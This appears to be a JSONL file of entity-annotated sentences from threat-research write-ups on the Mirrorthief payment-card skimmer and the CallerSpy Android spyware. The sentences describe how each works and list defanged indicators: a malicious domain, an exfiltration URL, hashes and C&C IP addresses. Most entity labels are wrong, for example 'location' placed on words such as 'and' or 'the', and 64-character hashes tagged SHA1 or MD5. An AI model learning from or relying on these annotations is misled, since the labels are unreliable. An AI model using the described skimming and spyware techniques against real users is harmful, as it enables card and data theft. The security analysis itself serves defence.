-{"id":9281,"text":"Upon learning of this incident, we immediately took action to halt the current attack, initiated an investigation, engaged an external IT forensic firm to assist in our review, notified law enforcement and payment card companies.","entities":[{"id":28679,"label":"location","start_offset":52,"end_offset":58},{"id":28680,"label":"location","start_offset":186,"end_offset":189},{"id":28681,"label":"location","start_offset":202,"end_offset":205}],"relations":[],"Comments":[]}
-{"id":9282,"text":"Our investigation is ongoing to determine the scope of the issue, including who and what information may have been impacted.","entities":[{"id":28682,"label":"location","start_offset":59,"end_offset":64},{"id":28683,"label":"location","start_offset":80,"end_offset":83},{"id":28684,"label":"location","start_offset":101,"end_offset":104}],"relations":[],"Comments":[]}
-{"id":9283,"text":"Based on our review to date, we have determined that an unauthorized party was able to install malicious software designed to capture payment card information on some of our customers’ e-commerce websites.","entities":[{"id":28685,"label":"location","start_offset":23,"end_offset":27},{"id":28686,"label":"location","start_offset":187,"end_offset":195}],"relations":[],"Comments":[]}
-{"id":9284,"text":"We are proactively notifying potentially impacted customers to let them know about the incident, the steps we are taking to address the situation, and steps they can take to protect their end users.","entities":[{"id":28687,"label":"location","start_offset":3,"end_offset":6},{"id":28688,"label":"location","start_offset":67,"end_offset":71},{"id":28689,"label":"location","start_offset":110,"end_offset":113},{"id":28690,"label":"location","start_offset":147,"end_offset":150},{"id":28691,"label":"location","start_offset":162,"end_offset":165}],"relations":[],"Comments":[]}
-{"id":9285,"text":"We deeply regret any concern or frustration this incident may cause.","entities":[{"id":28692,"label":"location","start_offset":58,"end_offset":61}],"relations":[],"Comments":[]}
-{"id":9286,"text":"Protecting the security and privacy of information remains a top priority.","entities":[{"id":28693,"label":"location","start_offset":15,"end_offset":23},{"id":28694,"label":"location","start_offset":24,"end_offset":27}],"relations":[],"Comments":[]}
-{"id":9287,"text":"We are taking steps to further strengthen the security of our systems, including enhanced client-side and back-end monitoring tools and a comprehensive end-to-end audit of our systems.","entities":[{"id":28695,"label":"location","start_offset":3,"end_offset":6},{"id":28696,"label":"location","start_offset":46,"end_offset":54},{"id":28697,"label":"location","start_offset":102,"end_offset":105},{"id":28698,"label":"location","start_offset":132,"end_offset":135}],"relations":[],"Comments":[]}
-{"id":9288,"text":"Once our investigation concludes, we will be providing our customers with additional information and guidance.\"","entities":[{"id":28699,"label":"location","start_offset":37,"end_offset":41},{"id":28700,"label":"location","start_offset":97,"end_offset":100}],"relations":[],"Comments":[]}
-{"id":9289,"text":"Since we can’t connect the said attack to any previous Magecart groups — even if the attack shared some similar characteristics with a few of them — we labeled this new group “Mirrorthief”.","entities":[{"id":28702,"label":"location","start_offset":142,"end_offset":146}],"relations":[],"Comments":[]}
 {"id":9290,"text":"Figure 1. Mirrorthief attack chain  Figure 2.","entities":[],"relations":[],"Comments":[]}
-{"id":9291,"text":"Payment page of PrismWeb online store loads Mirrorthief’s skimming script","entities":[{"id":28705,"label":"location","start_offset":8,"end_offset":12}],"relations":[],"Comments":[]}
-{"id":9292,"text":" Figure 3. Mirrorthief injection on PrismWeb checkout payment’s library How Mirrorthief performs their skimming activities","entities":[{"id":28707,"label":"location","start_offset":64,"end_offset":71}],"relations":[],"Comments":[]}
 {"id":9293,"text":"On April 14, the attackers injected a script to the payment checkout libraries used by the PrismWeb platform.","entities":[],"relations":[],"Comments":[]}
 {"id":9294,"text":"The location of injected payment checkout libraries on affected online stores were:  hxxps:\/\/[online store domain]\/innerweb\/v4.0\/include\/js\/checkout_payment[.]js hxxps:\/\/[online store domain]\/innerweb\/v3.1\/include\/js\/checkout_payment[.]js  The injected script forged the Google Analytics script format, but loaded a different script from the attackers’ server.","entities":[],"relations":[],"Comments":[]}
 {"id":9295,"text":"The loaded script is the main script that steals the payment information.","entities":[],"relations":[],"Comments":[]}
 {"id":9296,"text":"Unlike many web skimmers, which are designed to collect information from many kinds of e-commerce payment pages in general, the skimmer that the Mirrorthief group used was designed specifically for PrismWeb’s payment page.","entities":[{"id":28712,"label":"location","start_offset":7,"end_offset":11},{"id":28713,"label":"location","start_offset":32,"end_offset":35},{"id":28714,"label":"location","start_offset":73,"end_offset":77},{"id":28715,"label":"location","start_offset":89,"end_offset":97},{"id":28718,"label":"tools","start_offset":217,"end_offset":221}],"relations":[],"Comments":[]}
-{"id":9297,"text":"The skimmer collects data only from HTML elements with the specific IDs on PrismWeb’s payment form.","entities":[{"id":28719,"label":"location","start_offset":26,"end_offset":30}],"relations":[],"Comments":[]}
-{"id":9298,"text":"The stolen credit card information includes card number, expiry date, card type, card verification number (CVN), and the cardholder’s name.","entities":[{"id":28721,"label":"location","start_offset":64,"end_offset":68},{"id":28722,"label":"location","start_offset":75,"end_offset":79},{"id":28723,"label":"location","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]}
-{"id":9299,"text":"The skimmer also steals personal information like addresses and phone numbers for billing.","entities":[{"id":28724,"label":"location","start_offset":60,"end_offset":63}],"relations":[],"Comments":[]}
-{"id":9300,"text":"Once the user has finished filling in the payment form and clicked on the payment review, the skimmer copies the targeted information into JavaScript Object Notation (JSON) format data and encrypts it with AES encryption and Base64 encoding.","entities":[{"id":28725,"label":"location","start_offset":55,"end_offset":58},{"id":28726,"label":"location","start_offset":185,"end_offset":188},{"id":28727,"label":"location","start_offset":221,"end_offset":224}],"relations":[],"Comments":[]}
-{"id":9301,"text":"Next, the skimmer will send it to a remote server by creating an HTML image element, which connects to their URL appended with the encrypted payment information as a query string.","entities":[{"id":28728,"label":"location","start_offset":18,"end_offset":22},{"id":28729,"label":"location","start_offset":36,"end_offset":42}],"relations":[],"Comments":[]}
-{"id":9302,"text":"The server then receives the skimmed data from the URL’s query string and returns a 1 pixel PNG picture.","entities":[{"id":28730,"label":"location","start_offset":70,"end_offset":73}],"relations":[],"Comments":[]}
 {"id":9303,"text":" HTML Element ID Mirrorthief JSON Data Schema Information _cc_number aa","entities":[],"relations":[],"Comments":[]}
 {"id":9304,"text":"Credit card number _cc_expmonth bb Credit card expiration month _cc_expyear cc Credit card expiration year cc_type dd","entities":[],"relations":[],"Comments":[]}
-{"id":9305,"text":"Credit card type _cc_cvn ee","entities":[{"id":28732,"label":"location","start_offset":12,"end_offset":16}],"relations":[],"Comments":[]}
 {"id":9306,"text":"Credit card CVN number cc_first_name ff First name of cardholder cc_last_name gg Last name of cardholder bill_to_phone hh Phone number for billing bill_to_country ii","entities":[],"relations":[],"Comments":[]}
-{"id":9307,"text":"Billing address (country) bill_to_state jj Billing address (state) bill_to_street1 kk Billing address (street) bill_to_street2 ll","entities":[{"id":28733,"label":"location","start_offset":103,"end_offset":109}],"relations":[],"Comments":[]}
-{"id":9308,"text":"Billing address (street) bill_to_city mm","entities":[{"id":28734,"label":"location","start_offset":17,"end_offset":23}],"relations":[],"Comments":[]}
 {"id":9309,"text":"Billing address (city) bill_to_zip nn","entities":[],"relations":[],"Comments":[]}
 {"id":9310,"text":"Billing address (zip code)   Table 1.","entities":[],"relations":[],"Comments":[]}
-{"id":9311,"text":"Sensitive data targeted by Mirrorthief’s skimmer  Figure 4. Mirrorthief skimming script copies payment information and encrypts it with AES encryption (deobfuscated)","entities":[{"id":28737,"label":"location","start_offset":115,"end_offset":118}],"relations":[],"Comments":[]}
 {"id":9312,"text":"Comparing Magecart-wielding groups The Mirrorthief group made the injected script on the compromised libraries similar to legitimate Google Analytics script and registered their malicious domain (which also appears similar to the original Google Analytics domain) to disguise their activity.","entities":[{"id":28738,"label":"threat-actor","start_offset":10,"end_offset":18},{"id":28740,"label":"location","start_offset":57,"end_offset":61},{"id":28742,"label":"location","start_offset":157,"end_offset":160}],"relations":[],"Comments":[]}
 {"id":9313,"text":"Impersonating the Google Analytics service is a known tactic also used by Magecart Group 11, the group behind the Vision Direct breach.","entities":[],"relations":[],"Comments":[]}
-{"id":9314,"text":"Another group called ReactGet, which infected many e-commerce websites around the world, was also recently seen adopting a similar impersonation tactic.","entities":[{"id":28748,"label":"location","start_offset":46,"end_offset":50},{"id":28749,"label":"location","start_offset":53,"end_offset":61},{"id":28750,"label":"location","start_offset":82,"end_offset":87}],"relations":[],"Comments":[]}
 {"id":9315,"text":"When we checked Mirrorthief’s network infrastructure, we found that it did not have any overlap with any known cybercrime groups.","entities":[],"relations":[],"Comments":[]}
 {"id":9316,"text":"In addition, the skimmer Mirrorthief used in the attack is very different from the others since it’s specially designed to skim PrismWeb’s payment form.","entities":[],"relations":[],"Comments":[]}
-{"id":9317,"text":"It sends the skimmed data through a unique JSON schema, which may hint that they use a unique backend data receiver instead of popular skimming kits.","entities":[{"id":28754,"label":"location","start_offset":62,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":9318,"text":"Moreover, the three groups encrypted the skimmed data before the transfer, but used different JavaScript libraries.","entities":[{"id":28756,"label":"location","start_offset":65,"end_offset":73}],"relations":[],"Comments":[]}
 {"id":9319,"text":"Below is a table for comparison.","entities":[],"relations":[],"Comments":[]}
 {"id":9320,"text":" Group Encryption Algorithm JavaScript Library Magecart Group 11 AES Gibberish-AES ReactGet RSA JSEncrypt Mirrorthief AES Crypto-JS   Table 2. Comparison of encryption algorithms used by the different groups","entities":[{"id":28757,"label":"location","start_offset":39,"end_offset":46},{"id":28758,"label":"malware","start_offset":47,"end_offset":55},{"id":28759,"label":"malware","start_offset":69,"end_offset":78},{"id":28760,"label":"identity","start_offset":92,"end_offset":95}],"relations":[],"Comments":[]}
 {"id":9321,"text":" Figure 5. Magecart Group 11 injection pattern  Figure 6.","entities":[{"id":28763,"label":"threat-actor","start_offset":11,"end_offset":19}],"relations":[],"Comments":[]}
 {"id":9322,"text":"ReactGet Group injection pattern  Figure 7.","entities":[],"relations":[],"Comments":[]}
 {"id":9323,"text":"Mirrorthief Group injection pattern","entities":[],"relations":[],"Comments":[]}
-{"id":9324,"text":"Magecart has evolved its tactics and exposed many sites to skimming attacks over the years.","entities":[{"id":28767,"label":"location","start_offset":33,"end_offset":36},{"id":28768,"label":"location","start_offset":45,"end_offset":49},{"id":28769,"label":"location","start_offset":50,"end_offset":55}],"relations":[],"Comments":[]}
-{"id":9325,"text":"Groups that employ this digital attack have been known to come up with new ways to stay undetected on the sites they compromise.","entities":[{"id":28771,"label":"location","start_offset":106,"end_offset":111}],"relations":[],"Comments":[]}
-{"id":9326,"text":"To defend against this type of threat, website owners should regularly check and strengthen their security with patches and server segregation.","entities":[{"id":28772,"label":"location","start_offset":23,"end_offset":27},{"id":28773,"label":"location","start_offset":71,"end_offset":76},{"id":28774,"label":"location","start_offset":77,"end_offset":80},{"id":28775,"label":"location","start_offset":98,"end_offset":106},{"id":28776,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":9327,"text":"Site owners should also employ robust authentication mechanisms, especially for those that store and manage sensitive data.","entities":[{"id":28777,"label":"location","start_offset":97,"end_offset":100},{"id":28778,"label":"location","start_offset":101,"end_offset":107}],"relations":[],"Comments":[]}
 {"id":9328,"text":"IT and security teams should restrict or disable outdated components, and habitually monitor websites and applications for any indicators of suspicious activity that could lead to data exfiltration, execution of unknown scripts, or unauthorized access and modification.","entities":[{"id":28779,"label":"location","start_offset":3,"end_offset":6},{"id":28780,"label":"location","start_offset":7,"end_offset":15},{"id":28781,"label":"location","start_offset":70,"end_offset":73},{"id":28782,"label":"location","start_offset":85,"end_offset":92},{"id":28783,"label":"location","start_offset":102,"end_offset":105},{"id":28784,"label":"threat-actor","start_offset":172,"end_offset":176},{"id":28785,"label":"location","start_offset":252,"end_offset":255}],"relations":[],"Comments":[]}
 {"id":9329,"text":"The following Trend Micro solutions, powered by XGen™ security, protect users and businesses by blocking the scripts and preventing access to the malicious domains:  Trend Micro™ Security Smart Protection Suites and Worry-Free™ Business Security Trend Micro Network Defense Hybrid Cloud Security  Indicators of Compromise (IoCs)  Indicator Attribution 30c8be0d9deb59d98f7e047579763559f2c2dd9a7b4477636afcbebaaebc7dc5 Mirrorthief skimming script hash (detected as Trojan.JS.MIRRORTHEIF.AA) cloudmetric-analytics[.]com Mirrorthief malicious domain hxxps:\/\/cloudmetric-analytics[.]com\/ga[.]js","entities":[{"id":28787,"label":"location","start_offset":54,"end_offset":62},{"id":28788,"label":"location","start_offset":78,"end_offset":81},{"id":28789,"label":"location","start_offset":117,"end_offset":120},{"id":28790,"label":"location","start_offset":172,"end_offset":177},{"id":28791,"label":"location","start_offset":179,"end_offset":187},{"id":28792,"label":"location","start_offset":194,"end_offset":204},{"id":28793,"label":"location","start_offset":212,"end_offset":215},{"id":28794,"label":"location","start_offset":237,"end_offset":245},{"id":28795,"label":"location","start_offset":252,"end_offset":257},{"id":28796,"label":"location","start_offset":281,"end_offset":286},{"id":28797,"label":"location","start_offset":287,"end_offset":295},{"id":28798,"label":"SHA1","start_offset":352,"end_offset":416}],"relations":[],"Comments":[]}
 {"id":9330,"text":"Mirrorthief","entities":[],"relations":[],"Comments":[]}
 {"id":9331,"text":"malicious URL hxxps:\/\/cloudmetric-analytics[.]com\/analytics[.]js Mirrorthief malicious URL hxxps:\/\/cloudmetric-analytics[.]com\/analytic[.]php?ccm_post= Mirrorthief malicious URL hxxps:\/\/g-analytics[.]com\/libs\/analytics[.]js Magecart Group 11 malicious URL hxxps:\/\/ebitbr[.]com\/api[.]js ReactGet Group malicious URL","entities":[{"id":28799,"label":"threat-actor","start_offset":224,"end_offset":232}],"relations":[],"Comments":[]}
-{"id":9332,"text":"With special thanks to our colleagues at abuse.ch and The Shadowserver Foundation for helping with the sinkholing of Mirrothief’s malicious domain and remediation reporting        Tags  Malware | APT & Targeted Attacks | Research | Web | Data center","entities":[{"id":28801,"label":"location","start_offset":50,"end_offset":53},{"id":28803,"label":"location","start_offset":147,"end_offset":150},{"id":28804,"label":"location","start_offset":196,"end_offset":199},{"id":28805,"label":"location","start_offset":243,"end_offset":249}],"relations":[],"Comments":[]}
 {"id":9333,"text":"We found a new spyware family disguised as chat apps on a phishing website.","entities":[{"id":28806,"label":"location","start_offset":43,"end_offset":47},{"id":28807,"label":"attack-pattern","start_offset":58,"end_offset":66}],"relations":[],"Comments":[]}
-{"id":9334,"text":"We believe that the apps, which exhibit many cyberespionage behaviors, are initially used for a targeted attack campaign.","entities":[{"id":28808,"label":"location","start_offset":40,"end_offset":44},{"id":28809,"label":"location","start_offset":71,"end_offset":74},{"id":28810,"label":"location","start_offset":112,"end_offset":120}],"relations":[],"Comments":[]}
 {"id":9335,"text":"We first came across the threat in May on the site http:\/\/gooogle[.]press\/, which was advertising a chat app called “Chatrious.”","entities":[{"id":28812,"label":"URL","start_offset":51,"end_offset":74},{"id":28813,"label":"location","start_offset":100,"end_offset":104}],"relations":[],"Comments":[]}
-{"id":9336,"text":"Users can download the malicious Android application package (APK) file by clicking the download button indicated on the site.","entities":[{"id":28815,"label":"location","start_offset":6,"end_offset":9}],"relations":[],"Comments":[]}
 {"id":9337,"text":"The website became inactive for months after that encounter in May.","entities":[],"relations":[],"Comments":[]}
-{"id":9338,"text":"We only noticed that it came back in October, this time with a different app called “Apex App.”","entities":[{"id":28818,"label":"location","start_offset":3,"end_offset":7},{"id":28820,"label":"location","start_offset":51,"end_offset":55}],"relations":[],"Comments":[]}
-{"id":9339,"text":"We have identified this as a spyware family that can steal user’s personal information.","entities":[{"id":28822,"label":"location","start_offset":49,"end_offset":52}],"relations":[],"Comments":[]}
 {"id":9340,"text":"Trend Micro detects both of the threats as AndroidOS_CallerSpy.HRX.","entities":[],"relations":[],"Comments":[]}
 {"id":9341,"text":"Figure 1.","entities":[],"relations":[],"Comments":[]}
-{"id":9342,"text":"Screenshots of Chatrious (left) and Apex App (right) Behavior analysis CallerSpy claims it’s a chat app, but we found that it had no chat features at all and it was riddled with espionage behaviors.","entities":[{"id":28826,"label":"location","start_offset":32,"end_offset":35},{"id":28829,"label":"location","start_offset":95,"end_offset":99},{"id":28830,"label":"location","start_offset":133,"end_offset":137},{"id":28831,"label":"location","start_offset":154,"end_offset":157}],"relations":[],"Comments":[]}
-{"id":9343,"text":"When launched, CallerSpy initiates a connection with the C&C server via Socket.IO to monitor upcoming commands.","entities":[{"id":28832,"label":"location","start_offset":85,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":9344,"text":"It then utilizes Evernote Android-Job to start scheduling jobs to steal information.","entities":[{"id":28834,"label":"location","start_offset":41,"end_offset":46}],"relations":[],"Comments":[]}
 {"id":9345,"text":" Figure 2.","entities":[],"relations":[],"Comments":[]}
-{"id":9346,"text":"CallerSpy initiates C&C connection (left) and then starts scheduling jobs (right)","entities":[{"id":28836,"label":"location","start_offset":42,"end_offset":45}],"relations":[],"Comments":[]}
-{"id":9347,"text":"CallerSpy sets several scheduling jobs to collect call logs, SMSs, contacts, and files on the device.","entities":[{"id":28837,"label":"location","start_offset":50,"end_offset":54},{"id":28838,"label":"location","start_offset":77,"end_offset":80}],"relations":[],"Comments":[]}
 {"id":9348,"text":"It also receives commands from the C&C server to take screenshots, which it later sends to the server.","entities":[],"relations":[],"Comments":[]}
 {"id":9349,"text":" Figure 3.","entities":[],"relations":[],"Comments":[]}
 {"id":9350,"text":"Scheduled jobs  Source Command alive_latest_files_watcher Starts latest_files_watcher job and keeps it alive enviorment_schedulers","entities":[{"id":28840,"label":"attack-pattern","start_offset":16,"end_offset":22},{"id":28841,"label":"location","start_offset":86,"end_offset":89},{"id":28842,"label":"location","start_offset":90,"end_offset":93}],"relations":[],"Comments":[]}
 {"id":9351,"text":"Configures","entities":[],"relations":[],"Comments":[]}
 {"id":9352,"text":"environment record module keep_enviorment_scehdular_alive","entities":[],"relations":[],"Comments":[]}
-{"id":9353,"text":"Starts the enviorment_scehdular job and keeps it alive keep_listener_alive Starts listener job and keeps it alive latest_files_watcher","entities":[{"id":28843,"label":"location","start_offset":32,"end_offset":35},{"id":28844,"label":"location","start_offset":36,"end_offset":39},{"id":28845,"label":"location","start_offset":91,"end_offset":94},{"id":28846,"label":"location","start_offset":95,"end_offset":98}],"relations":[],"Comments":[]}
-{"id":9354,"text":"Collects latest call logs, SMSs, contacts, and files listeners","entities":[{"id":28847,"label":"location","start_offset":16,"end_offset":20},{"id":28848,"label":"location","start_offset":43,"end_offset":46}],"relations":[],"Comments":[]}
-{"id":9355,"text":"Updates configuration and takes a screenshot record_enviorment","entities":[{"id":28849,"label":"location","start_offset":22,"end_offset":25}],"relations":[],"Comments":[]}
 {"id":9356,"text":"Records environment remote_sync","entities":[],"relations":[],"Comments":[]}
-{"id":9357,"text":"Uploads privacy to the remote C&C server sync_data_locally Collects all call log, SMS, contacts, and files information on the device   Table 1.","entities":[{"id":28850,"label":"location","start_offset":23,"end_offset":29},{"id":28851,"label":"location","start_offset":72,"end_offset":76},{"id":28852,"label":"location","start_offset":97,"end_offset":100}],"relations":[],"Comments":[]}
-{"id":9358,"text":"Some of CallerSpy’s scheduling job tags","entities":[{"id":28854,"label":"location","start_offset":31,"end_offset":34}],"relations":[],"Comments":[]}
-{"id":9359,"text":"All of the stolen information are collected and stored in a local database before they’re uploaded to the C&C server periodically.","entities":[{"id":28855,"label":"location","start_offset":30,"end_offset":33},{"id":28856,"label":"location","start_offset":44,"end_offset":47}],"relations":[],"Comments":[]}
-{"id":9360,"text":"This spyware targets the following file types: jpg, jpeg, png, docx, xls, xlsx, ppt, pptx, pdf, doc, txt, csv, aac, amr, m4a, opus, wav, and amr.","entities":[{"id":28857,"label":"location","start_offset":121,"end_offset":124},{"id":28858,"label":"location","start_offset":137,"end_offset":140}],"relations":[],"Comments":[]}
 {"id":9361,"text":" Figure 4.","entities":[],"relations":[],"Comments":[]}
 {"id":9362,"text":"Privacy database","entities":[],"relations":[],"Comments":[]}
 {"id":9363,"text":"The screenshot gets captured when a command is received from the C&C server.","entities":[],"relations":[],"Comments":[]}
-{"id":9364,"text":"The screenshot image then gets encoded using Base64 and sent back to the server via a preconfigured Socket.IO connection.","entities":[{"id":28860,"label":"location","start_offset":52,"end_offset":55}],"relations":[],"Comments":[]}
 {"id":9365,"text":" Figure 5.","entities":[],"relations":[],"Comments":[]}
-{"id":9366,"text":"Monitor commands from C&C server (left), take and send the screenshot (right)","entities":[{"id":28862,"label":"location","start_offset":0,"end_offset":7},{"id":28863,"label":"location","start_offset":46,"end_offset":49}],"relations":[],"Comments":[]}
 {"id":9367,"text":"Infrastructure analysis","entities":[],"relations":[],"Comments":[]}
 {"id":9368,"text":"The domain gooogle[.]press masquerades as Google to trick users into downloading the app.","entities":[],"relations":[],"Comments":[]}
-{"id":9369,"text":"The domain even goes into putting a supposed copyright detail at the bottom of the website.","entities":[{"id":28865,"label":"location","start_offset":16,"end_offset":20}],"relations":[],"Comments":[]}
 {"id":9370,"text":" Figure 6. Fake copyright info","entities":[],"relations":[],"Comments":[]}
-{"id":9371,"text":"The attackers behind this campaign made an effort to hide their tracks.","entities":[{"id":28867,"label":"location","start_offset":26,"end_offset":34},{"id":28868,"label":"location","start_offset":35,"end_offset":39},{"id":28869,"label":"location","start_offset":43,"end_offset":49}],"relations":[],"Comments":[]}
 {"id":9372,"text":"Whois Lookup reveals that this domain was registered on February 11, 2019 at Namecheap.","entities":[],"relations":[],"Comments":[]}
 {"id":9373,"text":"However, we found that all the registrant data was untraceable.","entities":[],"relations":[],"Comments":[]}
-{"id":9374,"text":"It is important to note, however, that domain privacy protection is common among domains that Namecheap offers.","entities":[{"id":28872,"label":"location","start_offset":54,"end_offset":67}],"relations":[],"Comments":[]}
 {"id":9375,"text":" Figure 7. gooogle[.]press registration info","entities":[],"relations":[],"Comments":[]}
 {"id":9376,"text":"We did catch four C&C IP addresses, all hosted on a legitimate service.","entities":[],"relations":[],"Comments":[]}
-{"id":9377,"text":"We can only confirm that the C&C service uses Node.js on port 3000.","entities":[{"id":28876,"label":"location","start_offset":3,"end_offset":6},{"id":28877,"label":"location","start_offset":7,"end_offset":11}],"relations":[],"Comments":[]}
-{"id":9378,"text":"Initial phase of a bigger campaign","entities":[{"id":28879,"label":"location","start_offset":26,"end_offset":34}],"relations":[],"Comments":[]}
-{"id":9379,"text":"Based on the aforementioned clues and past findings, we believe that this is a new campaign.","entities":[{"id":28880,"label":"location","start_offset":34,"end_offset":37},{"id":28881,"label":"location","start_offset":83,"end_offset":91}],"relations":[],"Comments":[]}
-{"id":9380,"text":"There have been no detections for it on VirusTotal at the time of writing.","entities":[{"id":28883,"label":"location","start_offset":58,"end_offset":62}],"relations":[],"Comments":[]}
 {"id":9381,"text":" Figure 8.","entities":[],"relations":[],"Comments":[]}
 {"id":9382,"text":"VirusTotal scan result","entities":[],"relations":[],"Comments":[]}
-{"id":9383,"text":"The campaign’s target is still unclear because we have not seen actual victims.","entities":[{"id":28886,"label":"location","start_offset":4,"end_offset":12},{"id":28887,"label":"location","start_offset":15,"end_offset":21}],"relations":[],"Comments":[]}
 {"id":9384,"text":"We also conclude that this is the initial phase of an attack based on the following reasons:  CallerSpy, as it is now, could prove uneven for a targeted attack.","entities":[],"relations":[],"Comments":[]}
-{"id":9385,"text":"It has no user interface (UI), no real useful feature, and only implements espionage features.","entities":[{"id":28889,"label":"location","start_offset":34,"end_offset":38},{"id":28890,"label":"location","start_offset":55,"end_offset":58},{"id":28891,"label":"location","start_offset":59,"end_offset":63}],"relations":[],"Comments":[]}
-{"id":9386,"text":"It uses the default app icon and even is labeled as “rat.”","entities":[{"id":28892,"label":"location","start_offset":29,"end_offset":32}],"relations":[],"Comments":[]}
 {"id":9387,"text":"We also found some debug code left in CallerSpy.","entities":[],"relations":[],"Comments":[]}
 {"id":9388,"text":"  Figure 9.","entities":[],"relations":[],"Comments":[]}
-{"id":9389,"text":"CallerSpy icon and label (left), debug code (right)  ","entities":[{"id":28895,"label":"location","start_offset":15,"end_offset":18}],"relations":[],"Comments":[]}
-{"id":9390,"text":"Sample certification information indicates that it is only used for testing.","entities":[{"id":28896,"label":"location","start_offset":0,"end_offset":6},{"id":28897,"label":"location","start_offset":54,"end_offset":58}],"relations":[],"Comments":[]}
 {"id":9391,"text":"  Figure 10.","entities":[],"relations":[],"Comments":[]}
-{"id":9392,"text":"Certification details  The download section of the webpage has three buttons indicating Apple, Android and Windows platforms, but it only supports Android for now.","entities":[{"id":28899,"label":"location","start_offset":36,"end_offset":43},{"id":28903,"label":"location","start_offset":103,"end_offset":106},{"id":28904,"label":"location","start_offset":133,"end_offset":137}],"relations":[],"Comments":[]}
 {"id":9393,"text":"  Figure 11.","entities":[],"relations":[],"Comments":[]}
-{"id":9394,"text":"The app advertises to be available on different platforms  So far, our monitoring has not found any volume infection, which could mean that the threat actor may be waiting for a chance to spread the malware.  ","entities":[{"id":28906,"label":"location","start_offset":157,"end_offset":160},{"id":28907,"label":"location","start_offset":178,"end_offset":184}],"relations":[],"Comments":[]}
-{"id":9395,"text":"The malicious apps can be detected by Trend Micro solutions, such as the Trend Micro™ Mobile Security for Android™.","entities":[{"id":28908,"label":"location","start_offset":19,"end_offset":22}],"relations":[],"Comments":[]}
-{"id":9396,"text":"End users can also benefit from its multilayered security capabilities that secure the device owner’s data and privacy and safeguard them from ransomware, fraudulent websites, and identity theft.","entities":[{"id":28911,"label":"location","start_offset":10,"end_offset":13},{"id":28912,"label":"location","start_offset":49,"end_offset":57},{"id":28913,"label":"location","start_offset":107,"end_offset":110},{"id":28914,"label":"location","start_offset":119,"end_offset":122},{"id":28915,"label":"location","start_offset":133,"end_offset":137},{"id":28916,"label":"location","start_offset":176,"end_offset":179}],"relations":[],"Comments":[]}
-{"id":9397,"text":"For organizations, the Trend Micro Mobile Security for Enterprise suite provides device, compliance, and application management, data protection, and configuration provisioning.","entities":[{"id":28917,"label":"location","start_offset":29,"end_offset":34},{"id":28918,"label":"location","start_offset":35,"end_offset":41},{"id":28919,"label":"location","start_offset":42,"end_offset":50},{"id":28920,"label":"location","start_offset":55,"end_offset":65},{"id":28921,"label":"location","start_offset":101,"end_offset":104},{"id":28922,"label":"location","start_offset":134,"end_offset":144},{"id":28923,"label":"location","start_offset":146,"end_offset":149}],"relations":[],"Comments":[]}
-{"id":9398,"text":"It also protects devices from attacks that exploit vulnerabilities, prevents unauthorized access to apps, and detects and blocks malware and fraudulent websites.","entities":[{"id":28924,"label":"location","start_offset":106,"end_offset":109},{"id":28925,"label":"location","start_offset":118,"end_offset":121},{"id":28926,"label":"location","start_offset":137,"end_offset":140}],"relations":[],"Comments":[]}
-{"id":9399,"text":"Trend Micro’s Mobile App Reputation Service (MARS) covers Android and iOS threats using leading sandbox and machine learning technologies to protect users against malware, zero-day and known exploits, privacy leaks, and application vulnerability.","entities":[{"id":28928,"label":"location","start_offset":14,"end_offset":20},{"id":28929,"label":"location","start_offset":45,"end_offset":49},{"id":28930,"label":"location","start_offset":66,"end_offset":69},{"id":28931,"label":"location","start_offset":104,"end_offset":107},{"id":28933,"label":"location","start_offset":181,"end_offset":184},{"id":28934,"label":"location","start_offset":216,"end_offset":219}],"relations":[],"Comments":[]}
 {"id":9400,"text":"Indicators of Compromise (IoCs)  SHA-256 Package name Label 0c4b08bec1251b1ebc715a7ef1a712cdcb4d37ce0093d88f7fa73b0e05bf7b0e com.sas.gplayservices.accesibility GSERVICES 38acf26161a2c6429ee40d9b70d8419a9bd00eaa8740d221f943cea3229372dd com.sas.gservices.accesibility GSERVICES 3bf85d0aff5ddc0c57e43b879631ee692d98d01f5c964336471f1cdfe0d291f8 com.example.rat rat 7cb0eb93de496e2141b6e0541465ca71a84063867381085692885c75aa59cb1b com.pdf.searcher.dd Pdf Searcher 8ad18bd8f5d2f1fd9e00211170e8a540ddf7f51618588fab31b4ddd2b34b75e1 com.pdfd.researcher.resaq_ver1 Caller c8e1a702a27309c22728792c64aad4abc14ec2bfad1b30a4f27b8ebc6bcc68ff com.sas.gservices.accesibility GSERVICES   C&C servers  3.95.71.123:3000  18.206.105.66:3000  40.114.109.69:3000  52.21.5.241:2000  Phishing domain  http:\/\/gooogle[.]press\/    MITRE ATT&CK Techniques  Tactic Technique ID Description Initial Access Masquerade as Legitimate Application T1444 Used to masquerade as a legitimate chat app Persistence Abuse Device Administrator Access to Prevent Removal T1401","entities":[{"id":28935,"label":"SHA1","start_offset":60,"end_offset":124},{"id":28936,"label":"SHA1","start_offset":170,"end_offset":234},{"id":28937,"label":"SHA2","start_offset":276,"end_offset":340},{"id":28938,"label":"SHA2","start_offset":361,"end_offset":425},{"id":28940,"label":"SHA1","start_offset":459,"end_offset":523},{"id":28941,"label":"MD5","start_offset":562,"end_offset":626},{"id":28942,"label":"attack-pattern","start_offset":759,"end_offset":767},{"id":28943,"label":"URL","start_offset":776,"end_offset":799},{"id":28944,"label":"location","start_offset":953,"end_offset":957},{"id":28945,"label":"attack-pattern","start_offset":974,"end_offset":1026}],"relations":[],"Comments":[]}
 {"id":9401,"text":"Used to request device administrator privilege Persistence","entities":[],"relations":[],"Comments":[]}
-{"id":9402,"text":"App Auto-Start at Device Boot T1402","entities":[{"id":28946,"label":"location","start_offset":4,"end_offset":8},{"id":28947,"label":"location","start_offset":9,"end_offset":14}],"relations":[],"Comments":[]}
 {"id":9403,"text":"Used to listen for the BOOT_COMPLETED broadcast Defense Evasion Suppress Application Icon T1508","entities":[],"relations":[],"Comments":[]}
 {"id":9404,"text":"Used to suppress its icon from being displayed to the user in the application launcher to hide the fact that it is installed Discovery File and Directory Discovery T1420","entities":[{"id":28948,"label":"attack-pattern","start_offset":135,"end_offset":163}],"relations":[],"Comments":[]}
